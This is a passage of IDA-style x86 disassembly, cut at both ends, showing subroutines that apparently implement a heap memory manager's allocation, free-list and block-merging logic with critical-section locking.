eax mov [eax], eax mov ds:dword_20015610, eax mov ds:byte_200155BC, 1 loc_20001A3D: ; CODE XREF: sub_200019A8+64j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20001A65 loc_20001A4A: ; CODE XREF: sub_200019A8+BBj cmp ds:byte_20015045, 0 jz short loc_20001A5D push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_20001A5D: ; CODE XREF: sub_200019A8+A9j retn ; --------------------------------------------------------------------------- loc_20001A5E: ; DATA XREF: sub_200019A8+6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20001A4A ; --------------------------------------------------------------------------- loc_20001A65: ; CODE XREF: sub_200019A8:loc_20001A5Dj ; DATA XREF: sub_200019A8+9Do mov al, ds:byte_200155BC pop ebp retn sub_200019A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20001A6C proc near ; CODE XREF: sub_20005A60+37p push ebp mov ebp, esp push ebx cmp ds:byte_200155BC, 0 jz loc_20001B49 xor edx, edx push ebp push offset loc_20001B42 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_20015045, 0 jz short loc_20001A9E push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_20001A9E: ; CODE XREF: sub_20001A6C+26j mov ds:byte_200155BC, 0 mov eax, ds:hMem push eax ; hMem call LocalFree xor eax, eax mov ds:hMem, eax mov ebx, ds:dword_200155E4 jmp short loc_20001AD1 ; --------------------------------------------------------------------------- loc_20001ABF: ; CODE XREF: sub_20001A6C+6Bj push 8000h ; dwFreeType push 0 ; dwSize mov eax, [ebx+8] push eax ; lpAddress call VirtualFree mov ebx, [ebx] loc_20001AD1: ; CODE XREF: sub_20001A6C+51j cmp ebx, offset dword_200155E4 jnz short loc_20001ABF mov eax, offset dword_200155E4 call sub_2000136C mov eax, offset dword_200155F4 call sub_2000136C mov eax, offset dword_20015620 call sub_2000136C mov eax, ds:dword_200155DC test eax, eax jz short loc_20001B17 loc_20001B00: ; CODE XREF: sub_20001A6C+A9j mov edx, [eax] mov ds:dword_200155DC, edx push eax ; hMem call LocalFree mov eax, ds:dword_200155DC test eax, eax jnz short loc_20001B00 loc_20001B17: ; CODE XREF: sub_20001A6C+92j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20001B49 loc_20001B24: ; CODE XREF: sub_20001A6C+DBj cmp ds:byte_20015045, 0 jz short loc_20001B37 push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_20001B37: ; CODE XREF: sub_20001A6C+BFj push offset CriticalSection ; lpCriticalSection call DeleteCriticalSection retn ; --------------------------------------------------------------------------- loc_20001B42: ; DATA XREF: sub_20001A6C+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20001B24 ; --------------------------------------------------------------------------- loc_20001B49: ; CODE XREF: sub_20001A6C+Bj ; sub_20001A6C+D5j ; DATA XREF: ... pop ebx pop ebp retn sub_20001A6C endp ; =============== S U B R O U T I N E ======================================= sub_20001B4C proc near ; CODE XREF: sub_20001C5C:loc_20001CBDp ; sub_20001CCC+23p ... push ebx cmp eax, ds:dword_20015610 jnz short loc_20001B5E mov edx, [eax+4] mov ds:dword_20015610, edx loc_20001B5E: ; CODE XREF: sub_20001B4C+7j mov edx, [eax+4] mov ecx, [eax+8] cmp ecx, 1000h jg short loc_20001BA4 cmp eax, edx jnz short loc_20001B87 test ecx, ecx jns short loc_20001B77 add ecx, 3 loc_20001B77: ; CODE XREF: sub_20001B4C+26j sar ecx, 2 mov eax, ds:hMem xor edx, edx mov [eax+ecx*4-0Ch], edx jmp short loc_20001BAB ; --------------------------------------------------------------------------- loc_20001B87: ; CODE XREF: sub_20001B4C+22j test ecx, ecx jns short loc_20001B8E add ecx, 3 loc_20001B8E: ; CODE XREF: sub_20001B4C+3Dj sar ecx, 2 mov ebx, ds:hMem mov [ebx+ecx*4-0Ch], edx mov eax, [eax] mov [edx], eax mov [eax+4], edx pop ebx retn ; --------------------------------------------------------------------------- loc_20001BA4: ; CODE XREF: sub_20001B4C+1Ej mov eax, [eax] mov [edx], eax mov [eax+4], edx loc_20001BAB: ; CODE XREF: sub_20001B4C+39j pop ebx retn sub_20001B4C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20001BB0 proc near ; CODE XREF: sub_20001D04+11p mov edx, ds:dword_20015620 jmp short loc_20001BC8 ; --------------------------------------------------------------------------- loc_20001BB8: ; CODE XREF: sub_20001BB0+1Ej mov ecx, [edx+8] cmp eax, ecx jb short loc_20001BC6 add ecx, [edx+0Ch] cmp eax, ecx jb short loc_20001BDC loc_20001BC6: ; CODE XREF: sub_20001BB0+Dj mov edx, [edx] loc_20001BC8: ; CODE XREF: sub_20001BB0+6j cmp edx, offset dword_20015620 jnz short loc_20001BB8 mov ds:dword_200155C0, 3 xor edx, edx loc_20001BDC: ; CODE XREF: sub_20001BB0+14j mov eax, edx retn sub_20001BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20001BE0 proc near ; CODE XREF: sub_20001D04+74p ; sub_20001E88+68p push ebx mov ecx, edx sub ecx, 4 lea ebx, [ecx+eax] cmp edx, 10h jl short loc_20001BFD mov dword ptr [ebx], 80000007h mov edx, ecx call sub_20001DB4 pop ebx retn ; --------------------------------------------------------------------------- loc_20001BFD: ; CODE XREF: sub_20001BE0+Cj cmp edx, 4 jl short loc_20001C0E mov ecx, edx or ecx, 80000002h mov [eax], ecx mov [ebx], ecx loc_20001C0E: ; CODE XREF: sub_20001BE0+20j pop ebx retn sub_20001BE0 endp ; =============== S U B R O U T I N E ======================================= sub_20001C10 proc near ; CODE XREF: sub_20001C34+Dp ; sub_20001E3C+36p ... inc ds:dword_200155AC mov edx, eax sub edx, 4 mov edx, [edx] and edx, 7FFFFFFCh sub edx, 4 add ds:dword_200155B0, edx call sub_20002224 retn sub_20001C10 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001C34 proc near ; CODE XREF: sub_20001D04+8Ep cmp edx, 0Ch jl short loc_20001C47 or edx, 2 mov [eax], edx add eax, 4 call sub_20001C10 retn ; --------------------------------------------------------------------------- loc_20001C47: ; CODE XREF: sub_20001C34+3j cmp edx, 4 jl short loc_20001C56 mov ecx, edx or ecx, 80000002h mov [eax], ecx loc_20001C56: ; CODE XREF: sub_20001C34+16j add eax, edx and dword ptr [eax], 0FFFFFFFEh retn sub_20001C34 endp ; =============== S U B R O U T I N E ======================================= sub_20001C5C proc near ; CODE XREF: sub_20001E88+36p push ebx push esi mov edx, eax sub edx, 4 mov edx, [edx] mov ecx, edx and ecx, 80000002h cmp ecx, 80000002h jz short loc_20001C7F mov ds:dword_200155C0, 4 loc_20001C7F: ; CODE XREF: sub_20001C5C+17j mov ebx, edx and ebx, 7FFFFFFCh sub eax, ebx mov ecx, eax xor edx, [ecx] test edx, 0FFFFFFFEh jz short loc_20001C9F mov ds:dword_200155C0, 5 loc_20001C9F: ; CODE XREF: sub_20001C5C+37j test byte ptr [ecx], 1 jz short loc_20001CC4 mov edx, eax sub edx, 0Ch mov esi, [edx+8] sub eax, esi cmp esi, [eax+8] jz short loc_20001CBD mov ds:dword_200155C0, 6 loc_20001CBD: ; CODE XREF: sub_20001C5C+55j call sub_20001B4C add ebx, esi loc_20001CC4: ; CODE XREF: sub_20001C5C+46j mov eax, ebx pop esi pop ebx retn sub_20001C5C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001CCC proc near ; CODE XREF: sub_20001E88+4Fp push ebx push esi push edi mov ebx, eax xor edi, edi mov eax, [ebx] test eax, 80000000h jz short loc_20001CE7 and eax, 7FFFFFFCh add edi, eax add ebx, eax mov eax, [ebx] loc_20001CE7: ; CODE XREF: sub_20001CCC+Ej test al, 2 jnz short loc_20001CFE mov esi, ebx mov eax, esi call sub_20001B4C mov eax, [esi+8] add edi, eax add ebx, eax and dword ptr [ebx], 0FFFFFFFEh loc_20001CFE: ; CODE XREF: sub_20001CCC+1Dj mov eax, edi pop edi pop esi pop ebx retn sub_20001CCC endp ; =============== S U B R O U T I N E ======================================= sub_20001D04 proc near ; CODE XREF: sub_20001DB4+61p var_1C = byte ptr -1Ch var_1B = dword ptr -1Bh var_17 = dword ptr -17h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov edi, edx mov esi, eax mov [esp+1Ch+var_1C], 0 mov eax, esi call sub_20001BB0 mov ebx, eax test ebx, ebx jz loc_20001DA6 mov ebp, [ebx+8] mov eax, ebp add eax, [ebx+0Ch] mov edx, eax lea ecx, [edi+esi] sub edx, ecx cmp edx, 0Ch jg short loc_20001D3C mov edi, eax sub edi, esi loc_20001D3C: ; CODE XREF: sub_20001D04+32j mov eax, esi sub eax, ebp cmp eax, 0Ch jge short loc_20001D59 lea ecx, [esp+1Ch+var_1B] mov edx, esi sub edx, [ebx+8] add edx, edi mov eax, ebp call sub_2000191C jmp short loc_20001D6A ; --------------------------------------------------------------------------- loc_20001D59: ; CODE XREF: sub_20001D04+3Fj lea ecx, [esp+1Ch+var_1B] mov edx, edi sub edx, 4 lea eax, [esi+4] call sub_2000191C loc_20001D6A: ; CODE XREF: sub_20001D04+53j mov ebp, [esp+1Ch+var_1B] test ebp, ebp jz short loc_20001DA6 mov edx, ebp sub edx, esi mov eax, esi call sub_20001BE0 mov eax, ebp add eax, [esp+1Ch+var_17] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnb short loc_20001D97 lea edx, [edi+esi] sub edx, eax call sub_20001C34 loc_20001D97: ; CODE XREF: sub_20001D04+87j lea edx, [esp+1Ch+var_1B] mov eax, ebx call sub_2000142C mov [esp+1Ch+var_1C], 1 loc_20001DA6: ; CODE XREF: sub_20001D04+1Aj ; sub_20001D04+6Cj mov al, [esp+1Ch+var_1C] add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_20001D04 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001DB4 proc near ; CODE XREF: sub_20001BE0+16p ; sub_20001FA0+BBp ... push ebx push esi push edi mov esi, edx mov edi, eax mov ebx, edi mov [ebx+8], esi mov eax, ebx add eax, esi sub eax, 0Ch mov [eax+8], esi cmp esi, 1000h jg short loc_20001E09 mov edx, esi test edx, edx jns short loc_20001DDB add edx, 3 loc_20001DDB: ; CODE XREF: sub_20001DB4+22j sar edx, 2 mov eax, ds:hMem mov eax, [eax+edx*4-0Ch] test eax, eax jnz short loc_20001DFB mov eax, ds:hMem mov [eax+edx*4-0Ch], ebx mov [ebx+4], ebx mov [ebx], ebx jmp short loc_20001E35 ; --------------------------------------------------------------------------- loc_20001DFB: ; CODE XREF: sub_20001DB4+35j mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx jmp short loc_20001E35 ; --------------------------------------------------------------------------- loc_20001E09: ; CODE XREF: sub_20001DB4+1Cj cmp esi, 3C00h jl short loc_20001E1E mov edx, esi mov eax, edi call sub_20001D04 test al, al jnz short loc_20001E35 loc_20001E1E: ; CODE XREF: sub_20001DB4+5Bj mov eax, ds:dword_20015610 mov ds:dword_20015610, ebx mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx loc_20001E35: ; CODE XREF: sub_20001DB4+45j ; sub_20001DB4+53j ... pop edi pop esi pop ebx retn sub_20001DB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001E3C proc near ; CODE XREF: sub_20001E88+Fp ; sub_20002224+100p ... cmp ds:dword_20015614, 0 jle short locret_20001E85 cmp ds:dword_20015614, 0Ch jge short loc_20001E5A mov ds:dword_200155C0, 7 jmp short locret_20001E85 ; --------------------------------------------------------------------------- loc_20001E5A: ; CODE XREF: sub_20001E3C+10j mov eax, ds:dword_20015614 or eax, 2 mov edx, ds:dword_20015618 mov [edx], eax mov eax, ds:dword_20015618 add eax, 4 call sub_20001C10 xor eax, eax mov ds:dword_20015618, eax xor eax, eax mov ds:dword_20015614, eax locret_20001E85: ; CODE XREF: sub_20001E3C+7j ; sub_20001E3C+1Cj retn sub_20001E3C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001E88 proc near ; CODE XREF: sub_20001F14+18p ; sub_20001F40+1Dp var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, [esp+1Ch+var_1C] movsd movsd mov edi, esp call sub_20001E3C lea ecx, [esp+1Ch+var_14] mov edx, edi mov eax, offset dword_20015620 call sub_200013BC mov ebx, [esp+1Ch+var_14] test ebx, ebx jnz short loc_20001EB8 xor eax, eax jmp short loc_20001F0A ; --------------------------------------------------------------------------- loc_20001EB8: ; CODE XREF: sub_20001E88+2Aj mov eax, [edi] cmp ebx, eax jnb short loc_20001EC8 call sub_20001C5C sub [edi], eax add [edi+4], eax loc_20001EC8: ; CODE XREF: sub_20001E88+34j mov eax, [edi] add eax, [edi+4] mov esi, ebx add esi, [esp+1Ch+var_10] cmp eax, esi jnb short loc_20001EDF call sub_20001CCC add [edi+4], eax loc_20001EDF: ; CODE XREF: sub_20001E88+4Dj mov eax, [edi] add eax, [edi+4] cmp esi, eax jnz short loc_20001EF9 sub eax, 4 mov edx, 4 call sub_20001BE0 sub dword ptr [edi+4], 4 loc_20001EF9: ; CODE XREF: sub_20001E88+5Ej mov eax, [edi] mov ds:dword_20015618, eax mov eax, [edi+4] mov ds:dword_20015614, eax mov al, 1 loc_20001F0A: ; CODE XREF: sub_20001E88+2Ej add esp, 10h pop edi pop esi pop ebx retn sub_20001E88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001F14 proc near ; CODE XREF: sub_20001FA0+57p var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF8h mov ebx, eax mov edx, esp lea eax, [ebx+4] call sub_20001768 cmp [esp+0Ch+var_C], 0 jz short loc_20001F35 mov eax, esp call sub_20001E88 test al, al jnz short loc_20001F39 loc_20001F35: ; CODE XREF: sub_20001F14+14j xor eax, eax jmp short loc_20001F3B ; --------------------------------------------------------------------------- loc_20001F39: ; CODE XREF: sub_20001F14+1Fj mov al, 1 loc_20001F3B: ; CODE XREF: sub_20001F14+23j pop ecx pop edx pop ebx retn sub_20001F14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20001F40 proc near ; CODE XREF: sub_200023C8+1A4p var_10 = dword ptr -10h push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp lea edx, [esi+4] mov eax, ebx call sub_200017F8 cmp [esp+10h+var_10], 0 jz short loc_20001F66 mov eax, esp call sub_20001E88 test al, al jnz short loc_20001F6A loc_20001F66: ; CODE XREF: sub_20001F40+19j xor eax, eax jmp short loc_20001F6C ; --------------------------------------------------------------------------- loc_20001F6A: ; CODE XREF: sub_20001F40+24j mov al, 1 loc_20001F6C: ; CODE XREF: sub_20001F40+28j pop ecx pop edx pop esi pop ebx retn sub_20001F40 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001F74 proc near ; CODE XREF: sub_20001FA0+4Ap xor edx, edx test eax, eax jns short loc_20001F7D add eax, 3 loc_20001F7D: ; CODE XREF: sub_20001F74+4j sar eax, 2 cmp eax, 400h jg short loc_20001F9D loc_20001F87: ; CODE XREF: sub_20001F74+27j mov edx, ds:hMem mov edx, [edx+eax*4-0Ch] test edx, edx jnz short loc_20001F9D inc eax cmp eax, 401h jnz short loc_20001F87 loc_20001F9D: ; CODE XREF: sub_20001F74+11j ; sub_20001F74+1Fj mov eax, edx retn sub_20001F74 endp ; =============== S U B R O U T I N E ======================================= sub_20001FA0 proc near ; CODE XREF: sub_20002094+153p push ebx push esi push edi push ebp mov esi, eax mov edi, offset dword_20015610 mov ebp, offset dword_20015614 loc_20001FB0: ; CODE XREF: sub_20001FA0+6Aj mov ebx, ds:dword_20015608 cmp esi, [ebx+8] jle loc_20002043 mov ebx, [edi] mov eax, [ebx+8] cmp esi, eax jle short loc_20002043 mov [ebx+8], esi loc_20001FCB: ; CODE XREF: sub_20001FA0+31j mov ebx, [ebx+4] cmp esi, [ebx+8] jg short loc_20001FCB mov edx, [edi] mov [edx+8], eax cmp ebx, [edi] jz short loc_20001FE0 mov [edi], ebx jmp short loc_20002043 ; --------------------------------------------------------------------------- loc_20001FE0: ; CODE XREF: sub_20001FA0+3Aj cmp esi, 1000h jg short loc_20001FF5 mov eax, esi call sub_20001F74 mov ebx, eax test ebx, ebx jnz short loc_20002043 loc_20001FF5: ; CODE XREF: sub_20001FA0+46j mov eax, esi call sub_20001F14 test al, al jnz short loc_20002007 xor eax, eax jmp loc_2000208F ; --------------------------------------------------------------------------- loc_20002007: ; CODE XREF: sub_20001FA0+5Ej cmp esi, [ebp+0] jg short loc_20001FB0 sub [ebp+0], esi cmp dword ptr [ebp+0], 0Ch jge short loc_2000201D add esi, [ebp+0] xor eax, eax mov [ebp+0], eax loc_2000201D: ; CODE XREF: sub_20001FA0+73j mov eax, ds:dword_20015618 add ds:dword_20015618, esi mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_200155AC sub esi, 4 add ds:dword_200155B0, esi jmp short loc_2000208F ; --------------------------------------------------------------------------- loc_20002043: ; CODE XREF: sub_20001FA0+19j ; sub_20001FA0+26j ... mov eax, ebx call sub_20001B4C mov edx, [ebx+8] mov eax, edx sub eax, esi cmp eax, 0Ch jl short loc_20002062 mov edx, ebx add edx, esi xchg eax, edx call sub_20001DB4 jmp short loc_20002074 ; --------------------------------------------------------------------------- loc_20002062: ; CODE XREF: sub_20001FA0+B4j mov esi, edx cmp ebx, [edi] jnz short loc_2000206D mov eax, [ebx+4] mov [edi], eax loc_2000206D: ; CODE XREF: sub_20001FA0+C6j mov eax, ebx add eax, esi and dword ptr [eax], 0FFFFFFFEh loc_20002074: ; CODE XREF: sub_20001FA0+C0j mov eax, ebx mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_200155AC sub esi, 4 add ds:dword_200155B0, esi loc_2000208F: ; CODE XREF: sub_20001FA0+62j ; sub_20001FA0+A1j pop ebp pop edi pop esi pop ebx retn sub_20001FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20002094 proc near ; CODE XREF: sub_200025A4+5Cp ; sub_20002668+5p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, eax cmp ds:byte_200155BC, 0 jnz short loc_200020B1 call sub_200019A8 test al, al jz short loc_200020B9 loc_200020B1: ; CODE XREF: sub_20002094+12j cmp ebx, 7FFFFFF8h jle short loc_200020C3 loc_200020B9: ; CODE XREF: sub_20002094+1Bj xor eax, eax mov [ebp+var_4], eax jmp loc_20002217 ; --------------------------------------------------------------------------- loc_200020C3: ; CODE XREF: sub_20002094+23j xor ecx, ecx push ebp push offset loc_20002210 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp ds:byte_20015045, 0 jz short loc_200020E4 push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_200020E4: ; CODE XREF: sub_20002094+44j add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_200020F4 mov ebx, 0Ch loc_200020F4: ; CODE XREF: sub_20002094+59j cmp ebx, 1000h jg loc_20002193 mov eax, ebx test eax, eax jns short loc_20002109 add eax, 3 loc_20002109: ; CODE XREF: sub_20002094+70j sar eax, 2 mov edx, ds:hMem mov edx, [edx+eax*4-0Ch] test edx, edx jz short loc_20002193 mov esi, edx mov eax, esi add eax, ebx and dword ptr [eax], 0FFFFFFFEh mov eax, [edx+4] cmp edx, eax jnz short loc_20002144 mov eax, ebx test eax, eax jns short loc_20002133 add eax, 3 loc_20002133: ; CODE XREF: sub_20002094+9Aj sar eax, 2 mov ecx, ds:hMem xor edi, edi mov [ecx+eax*4-0Ch], edi jmp short loc_2000216A ; --------------------------------------------------------------------------- loc_20002144: ; CODE XREF: sub_20002094+94j mov ecx, ebx test ecx, ecx jns short loc_2000214D add ecx, 3 loc_2000214D: ; CODE XREF: sub_20002094+B4j sar ecx, 2 mov edi, ds:hMem mov [edi+ecx*4-0Ch], eax mov ecx, [edx] mov [ebp+var_8], ecx mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+var_8] mov [eax], ecx loc_2000216A: ; CODE XREF: sub_20002094+AEj mov eax, esi mov edx, [edx+8] or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_200155AC sub ebx, 4 add ds:dword_200155B0, ebx call sub_20003AB4 jmp loc_20002217 ; --------------------------------------------------------------------------- loc_20002193: ; CODE XREF: sub_20002094+66j ; sub_20002094+84j cmp ebx, ds:dword_20015614 jg short loc_200021E5 sub ds:dword_20015614, ebx cmp ds:dword_20015614, 0Ch jge short loc_200021B7 add ebx, ds:dword_20015614 xor eax, eax mov ds:dword_20015614, eax loc_200021B7: ; CODE XREF: sub_20002094+114j mov eax, ds:dword_20015618 add ds:dword_20015618, ebx mov edx, ebx or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_200155AC sub ebx, 4 add ds:dword_200155B0, ebx call sub_20003AB4 jmp short loc_20002217 ; --------------------------------------------------------------------------- loc_200021E5: ; CODE XREF: sub_20002094+105j mov eax, ebx call sub_20001FA0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20002217 loc_200021FC: ; CODE XREF: sub_20002094+181j cmp ds:byte_20015045, 0 jz short loc_2000220F push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_2000220F: ; CODE XREF: sub_20002094+16Fj retn ; --------------------------------------------------------------------------- loc_20002210: ; DATA XREF: sub_20002094+32o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200021FC ; --------------------------------------------------------------------------- loc_20002217: ; CODE XREF: sub_20002094+2Aj ; sub_20002094+FAj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20002094 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20002224 proc near ; CODE XREF: sub_20001C10+1Cp ; sub_200025A4+88p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, eax xor eax, eax mov ds:dword_200155C0, eax cmp ds:byte_200155BC, 0 jnz short loc_2000225C call sub_200019A8 test al, al jnz short loc_2000225C mov ds:dword_200155C0, 8 mov [ebp+var_4], 8 jmp loc_200023BD ; --------------------------------------------------------------------------- loc_2000225C: ; CODE XREF: sub_20002224+17j ; sub_20002224+20j xor ecx, ecx push ebp push offset loc_200023B6 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp ds:byte_20015045, 0 jz short loc_2000227D push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_2000227D: ; CODE XREF: sub_20002224+4Dj mov esi, ebx sub esi, 4 mov ebx, [esi] test bl, 2 jnz short loc_20002298 mov ds:dword_200155C0, 9 jmp loc_2000238D ; --------------------------------------------------------------------------- loc_20002298: ; CODE XREF: sub_20002224+63j dec ds:dword_200155AC mov eax, ebx and eax, 7FFFFFFCh sub eax, 4 sub ds:dword_200155B0, eax test bl, 1 jz short loc_200022F8 mov eax, esi sub eax, 0Ch mov edx, [eax+8] cmp edx, 0Ch jl short loc_200022C8 test edx, 80000003h jz short loc_200022D7 loc_200022C8: ; CODE XREF: sub_20002224+9Aj mov ds:dword_200155C0, 0Ah jmp loc_2000238D ; --------------------------------------------------------------------------- loc_200022D7: ; CODE XREF: sub_20002224+A2j mov eax, esi sub eax, edx cmp edx, [eax+8] jz short loc_200022EF mov ds:dword_200155C0, 0Ah jmp loc_2000238D ; --------------------------------------------------------------------------- loc_200022EF: ; CODE XREF: sub_20002224+BAj add ebx, edx mov esi, eax call sub_20001B4C loc_200022F8: ; CODE XREF: sub_20002224+8Dj and ebx, 7FFFFFFCh mov eax, esi add eax, ebx mov edi, eax cmp edi, ds:dword_20015618 jnz short loc_20002338 sub ds:dword_20015618, ebx add ds:dword_20015614, ebx cmp ds:dword_20015614, 3C00h jle short loc_20002329 call sub_20001E3C loc_20002329: ; CODE XREF: sub_20002224+FEj xor eax, eax mov [ebp+var_4], eax call sub_20003AB4 jmp loc_200023BD ; --------------------------------------------------------------------------- loc_20002338: ; CODE XREF: sub_20002224+E6j mov edx, [eax] test dl, 2 jz short loc_2000235B and edx, 7FFFFFFCh cmp edx, 4 jge short loc_20002356 mov ds:dword_200155C0, 0Bh jmp short loc_2000238D ; --------------------------------------------------------------------------- loc_20002356: ; CODE XREF: sub_20002224+124j or dword ptr [eax], 1 jmp short loc_20002384 ; --------------------------------------------------------------------------- loc_2000235B: ; CODE XREF: sub_20002224+119j mov eax, edi cmp dword ptr [eax+4], 0 jz short loc_2000236E cmp dword ptr [eax], 0 jz short loc_2000236E cmp dword ptr [eax+8], 0Ch jge short loc_2000237A loc_2000236E: ; CODE XREF: sub_20002224+13Dj ; sub_20002224+142j mov ds:dword_200155C0, 0Bh jmp short loc_2000238D ; --------------------------------------------------------------------------- loc_2000237A: ; CODE XREF: sub_20002224+148j mov edx, [eax+8] add ebx, edx call sub_20001B4C loc_20002384: ; CODE XREF: sub_20002224+135j mov edx, ebx mov eax, esi call sub_20001DB4 loc_2000238D: ; CODE XREF: sub_20002224+6Fj ; sub_20002224+AEj ... mov eax, ds:dword_200155C0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200023BD loc_200023A2: ; CODE XREF: sub_20002224+197j cmp ds:byte_20015045, 0 jz short loc_200023B5 push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_200023B5: ; CODE XREF: sub_20002224+185j retn ; --------------------------------------------------------------------------- loc_200023B6: ; DATA XREF: sub_20002224+3Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200023A2 ; --------------------------------------------------------------------------- loc_200023BD: ; CODE XREF: sub_20002224+33j ; sub_20002224+10Fj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_20002224 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200023C8 proc near ; CODE XREF: sub_200025A4+4Cp var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx add esi, 7 and esi, 0FFFFFFFCh cmp esi, 0Ch jge short loc_200023E1 mov esi, 0Ch loc_200023E1: ; CODE XREF: sub_200023C8+12j mov ebp, eax sub ebp, 4 mov edi, [ebp+0] and edi, 7FFFFFFCh mov eax, ebp add eax, edi mov ebx, eax cmp edi, esi jnz short loc_20002400 mov al, 1 jmp loc_2000259B ; --------------------------------------------------------------------------- loc_20002400: ; CODE XREF: sub_200023C8+2Fj cmp edi, esi jle loc_2000248B mov edx, edi sub edx, esi mov [esp+18h+var_18], edx cmp ebx, ds:dword_20015618 jnz short loc_2000244F mov eax, [esp+18h+var_18] sub ds:dword_20015618, eax mov eax, [esp+18h+var_18] add ds:dword_20015614, eax cmp ds:dword_20015614, 0Ch jge loc_20002582 mov eax, [esp+18h+var_18] add ds:dword_20015618, eax mov eax, [esp+18h+var_18] sub ds:dword_20015614, eax mov esi, edi jmp loc_20002582 ; --------------------------------------------------------------------------- loc_2000244F: ; CODE XREF: sub_200023C8+4Dj mov ebx, eax test byte ptr [ebx], 2 jnz short loc_20002463 mov eax, ebx mov edx, [eax+8] add [esp+18h+var_18], edx call sub_20001B4C loc_20002463: ; CODE XREF: sub_200023C8+8Cj cmp [esp+18h+var_18], 0Ch jl short loc_20002484 mov ebx, ebp add ebx, esi mov eax, [esp+18h+var_18] or eax, 2 mov [ebx], eax mov eax, ebx add eax, 4 call sub_20001C10 jmp loc_20002582 ; --------------------------------------------------------------------------- loc_20002484: ; CODE XREF: sub_200023C8+9Fj mov esi, edi jmp loc_20002582 ; --------------------------------------------------------------------------- loc_2000248B: ; CODE XREF: sub_200023C8+3Aj ; sub_200023C8+1B1j mov eax, esi sub eax, edi mov [esp+18h+var_14], eax cmp ebx, ds:dword_20015618 jnz short loc_20002502 mov eax, ds:dword_20015614 cmp eax, [esp+18h+var_14] jl short loc_200024F9 mov eax, [esp+18h+var_14] sub ds:dword_20015614, eax mov eax, [esp+18h+var_14] add ds:dword_20015618, eax cmp ds:dword_20015614, 0Ch jge short loc_200024DB mov eax, ds:dword_20015614 add ds:dword_20015618, eax add esi, ds:dword_20015614 xor eax, eax mov ds:dword_20015614, eax loc_200024DB: ; CODE XREF: sub_200023C8+F9j mov eax, esi sub eax, edi add ds:dword_200155B0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 jmp loc_2000259B ; --------------------------------------------------------------------------- loc_200024F9: ; CODE XREF: sub_200023C8+DCj call sub_20001E3C mov ebx, ebp add ebx, edi loc_20002502: ; CODE XREF: sub_200023C8+D1j test byte ptr [ebx], 2 jnz short loc_20002554 mov edx, ebx mov eax, edx mov ecx, [eax+8] mov [esp+18h+var_18], ecx mov ecx, [esp+18h+var_18] cmp ecx, [esp+18h+var_14] jge short loc_20002528 add edx, [esp+18h+var_18] mov ebx, edx mov eax, [esp+18h+var_18] sub [esp+18h+var_14], eax jmp short loc_20002554 ; --------------------------------------------------------------------------- loc_20002528: 